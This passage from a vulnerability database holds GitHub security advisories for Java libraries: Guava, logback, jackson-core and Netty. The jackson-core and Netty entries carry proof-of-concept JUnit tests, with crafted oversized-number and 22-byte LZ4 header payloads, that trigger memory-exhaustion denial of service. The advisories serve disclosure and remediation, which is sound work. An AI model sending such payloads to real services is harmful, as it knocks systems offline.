  "id": "GHSA-5mg8-w23w-74h3",
  "modified": "2026-02-23T22:45:53Z",
  "published": "2021-03-25T17:04:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8908"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/4011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/4011#issuecomment-1578991974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/commit/fec0dbc4634006a6162cfd4d0d09c962073ddf40"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604@%3Ctorque-dev.db.apache.org%3E"
    },
    {
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      "url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604%40%3Ctorque-dev.db.apache.org%3E"
    },
    {
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    },
    {
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    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
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      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
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      "url": "https://security.netapp.com/advisory/ntap-20220210-0003"
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    },
    {
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      "url": "https://lists.apache.org/thread.html/r3c3b33ee5bef0c67391d27a97cbfd89d44f328cf072b601b58d4e748@%3Ccommits.pulsar.apache.org%3E"
    },
    {
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      "url": "https://lists.apache.org/thread.html/r3c3b33ee5bef0c67391d27a97cbfd89d44f328cf072b601b58d4e748%40%3Ccommits.pulsar.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/r07ed3e4417ad043a27bee7bb33322e9bfc7d7e6d1719b8e3dfd95c14@%3Cdev.drill.apache.org%3E"
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      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r07ed3e4417ad043a27bee7bb33322e9bfc7d7e6d1719b8e3dfd95c14%40%3Cdev.drill.apache.org%3E"
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    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r037fed1d0ebde50c9caf8d99815db3093c344c3f651c5a49a09824ce@%3Cdev.drill.apache.org%3E"
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    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r007add131977f4f576c232b25e024249a3d16f66aad14a4b52819d21@%3Ccommon-issues.hadoop.apache.org%3E"
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    {
      "type": "PACKAGE",
      "url": "https://github.com/google/guava"
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      "url": "https://lists.apache.org/thread.html/r841c5e14e1b55281523ebcde661ece00b38a0569e00ef5e12bd5f6ba@%3Cissues.maven.apache.org%3E"
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    },
    {
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      "url": "https://lists.apache.org/thread.html/r7b0e81d8367264d6cad98766a469d64d11248eb654417809bfdacf09%40%3Cyarn-issues.hadoop.apache.org%3E"
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    {
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      "url": "https://lists.apache.org/thread.html/r79e47ed555bdb1180e528420a7a2bb898541367a29a3bc6bbf0baf2c@%3Cissues.hive.apache.org%3E"
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    },
    {
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      "url": "https://lists.apache.org/thread.html/r5b3d93dfdfb7708e796e8762ab40edbde8ff8add48aba53e5ea26f44@%3Cissues.geode.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/r58a8775205ab1839dba43054b09a9ab3b25b423a4170b2413c4067ac%40%3Ccommon-issues.hadoop.apache.org%3E"
    },
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      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r49549a8322f62cd3acfa4490d25bfba0be04f3f9ff4d14fe36199d27@%3Cyarn-dev.hadoop.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r49549a8322f62cd3acfa4490d25bfba0be04f3f9ff4d14fe36199d27%40%3Cyarn-dev.hadoop.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4776f62dfae4a0006658542f43034a7fc199350e35a66d4e18164ee6@%3Ccommits.cxf.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Information Disclosure in Guava"
}

GHSA-6V67-2WR5-GVF4

Vulnerability from github – Published: 2024-12-19 18:31 – Updated: 2025-01-03 19:06

Summary

QOS.CH logback-core Server-Side Request Forgery vulnerability

Details

Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.

The attacks involves the modification of DOCTYPE declaration in XML configuration files.

Severity

2.4 (Low)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.5.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-12801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-19T22:22:44Z",
    "nvd_published_at": "2024-12-19T17:15:08Z",
    "severity": "LOW"
  },
  "details": "Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.\n \nThe attacks involves the modification of DOCTYPE declaration in\u00a0 XML configuration files.",
  "id": "GHSA-6v67-2wr5-gvf4",
  "modified": "2025-01-03T19:06:48Z",
  "published": "2024-12-19T18:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/5f05041cba4c4ac0a62748c5c527a2da48999f2d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.3.15"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QOS.CH logback-core Server-Side Request Forgery vulnerability"
}

GHSA-72HV-8253-57QQ

Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-09-01 18:57

Summary

jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Details

Summary

The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details

The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Impact

A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError. 2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.

Suggested Remediation

The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

NOTE: This research was performed in collaboration with rohan-repos

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.15.0"
            },
            {
              "fixed": "2.18.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-18401"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n    private static final int MAX_NUMBER_LENGTH = 1000;\n    private static final int TEST_NUMBER_LENGTH = 5000;\n\n    private final JsonFactory factory = new JsonFactory();\n\n    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n    @Test\n    void syncParserRejectsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n        System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n        try {\n            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n                while (p.nextToken() != null) {\n                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                        System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n                    }\n                }\n            }\n            fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n        } catch (StreamConstraintsException e) {\n            System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n        }\n    }\n\n    // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n    @Test\n    void asyncParserAcceptsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n        NonBlockingByteArrayJsonParser p =\n            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n        p.feedInput(payload, 0, payload.length);\n        p.endOfInput();\n\n        boolean foundNumber = false;\n        try {\n            while (p.nextToken() != null) {\n                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                    foundNumber = true;\n                    String numberText = p.getText();\n                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n                        \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n                }\n            }\n            // Output to console\n            System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n            assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n        } catch (StreamConstraintsException e) {\n            fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n        }\n        p.close();\n    }\n\n    private byte[] buildPayloadWithLongInteger(int numDigits) {\n        StringBuilder sb = new StringBuilder(numDigits + 10);\n        sb.append(\"{\\\"v\\\":\");\n        for (int i = 0; i \u003c numDigits; i++) {\n            sb.append((char) (\u00271\u0027 + (i % 9)));\n        }\n        sb.append(\u0027}\u0027);\n        return sb.toString().getBytes(StandardCharsets.UTF_8);\n    }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
  "id": "GHSA-72hv-8253-57qq",
  "modified": "2026-09-01T18:57:17Z",
  "published": "2026-02-28T02:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18401"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}

GHSA-7G45-4RM6-3MM3

Vulnerability from github – Published: 2023-06-14 18:30 – Updated: 2025-11-04 16:44

Summary

Guava vulnerable to insecure use of temporary directory

Details

Use of Java's default temporary directory for file creation in FileBackedOutputStream in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.

Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.guava:guava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0"
            },
            {
              "fixed": "32.0.0-android"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-2976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-379",
      "CWE-552"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-14T21:01:07Z",
    "nvd_published_at": "2023-06-14T18:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Use of Java\u0027s default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.\n\nEven though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.",
  "id": "GHSA-7g45-4rm6-3mm3",
  "modified": "2025-11-04T16:44:26Z",
  "published": "2023-06-14T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2976"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/2575"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/6532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/google/guava"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/releases/tag/v32.0.0"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230818-0008"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241108-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Guava vulnerable to insecure use of temporary directory"
}

GHSA-MJ4R-2HFC-F8P6

Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41

Summary

Netty Lz4FrameDecoder is vulnerable to resource exhaustion

Details

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:20:35Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n            CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap server = new ServerBootstrap()\n                    .group(workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline()\n                                    .addLast(new Lz4FrameDecoder())\n                                    .addLast(new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverError.set(cause.getCause());\n                                            } else {\n                                                serverError.set(cause);\n                                            }\n                                            latch.countDown();\n                                        }\n                                    });\n                        }\n                    });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new Bootstrap()\n                    .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInboundHandlerAdapter() {\n                        @Override\n                        public void channelActive(ChannelHandlerContext ctx) {\n                            ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            buf.writeLong(MAGIC_NUMBER);\n                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            buf.writeIntLE(1);\n                            buf.writeIntLE(1 \u003c\u003c 25);\n                            buf.writeIntLE(0);\n                            buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n                            ctx.fireChannelActive();\n                        }\n                    });\n\n            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n            assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n            clientChannel.channel().close();\n            serverChannel.channel().close();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
  "id": "GHSA-mj4r-2hfc-f8p6",
  "modified": "2026-05-14T20:41:13Z",
  "published": "2026-05-07T00:20:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}

GHSA-PR98-23F8-JWXV

Vulnerability from github – Published: 2024-12-19 18:31 – Updated: 2025-01-03 19:05

Summary

QOS.CH logback-core Expression Language Injection vulnerability

Details

ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.

Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension.

